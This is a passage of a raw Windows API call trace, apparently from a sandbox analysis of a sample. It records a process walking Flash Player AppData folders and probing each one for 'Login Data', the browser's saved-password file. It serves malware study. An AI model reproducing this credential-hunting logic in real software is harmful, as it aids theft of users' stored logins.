hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0199.473] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0199.474] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.474] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.475] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.475] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0199.475] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0199.475] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.475] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.475] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12feb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0199.475] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Login Data", lpFindFileData=0x12fede4 | out: lpFindFileData=0x12fede4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.476] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.476] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.476] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0199.476] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0199.476] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.476] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.476] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0199.477] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.477] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0199.477] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0199.477] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0199.477] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0199.477] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.477] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0199.477] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.478] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0199.478] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0199.478] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0199.478] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.478] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.479] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.479] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0199.479] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 0 [0199.479] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.479] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.479] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.480] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.480] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0199.480] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 0 [0199.480] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.480] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.480] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0199.480] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.480] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpc.swf", cAlternateFileName="")) returned 1 [0199.480] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpc.swf", cAlternateFileName="")) returned 0 [0199.481] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0199.481] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.481] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.481] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.612] SetThreadErrorMode (dwNewMode=0x0, 